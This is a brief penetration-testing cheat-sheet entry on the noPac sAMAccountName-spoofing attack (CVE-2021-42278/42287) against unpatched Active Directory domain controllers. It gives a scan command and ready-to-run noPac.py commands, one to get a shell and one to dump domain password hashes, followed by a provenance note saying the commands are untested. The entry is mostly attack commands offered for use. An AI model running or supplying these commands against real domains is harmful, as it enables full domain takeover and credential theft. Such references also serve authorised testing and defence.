NoPac
Abuse sAMAccountName spoofing on an unpatched domain controller to obtain a domain admin ticket.
Detection
The noPac chain depends on unpatched DC behavior and suitable computer-account creation or modification rights. Confirm patch state and directory permissions; a domain login alone is insufficient.
python scanner.py <DOMAIN>/<USERNAME>:<PASSWORD> -dc-ip <DC IP>Exploitation
Get Shell
python3 noPac.py -shell -use-ldap -dc-ip <DC IP> '<DOMAIN>/<USERNAME>':'<PASSWORD>'Dump password
python3 noPac.py -dump -use-ldap -dc-ip <DC IP> '<DOMAIN>/<USERNAME>':'<PASSWORD>'Resources:
Provenance and confidence
- Version
- 2
- Sources reviewed
- 2026-11-23
- Confidence
- medium — Legacy RTFM; v2 editorial review on 2026-11-23 adds patch and directory-right prerequisites. Legacy commands remain untested.
Also searched as: nopac, no pac, samaccountname spoofing, cve-2021-42278, cve-2021-42287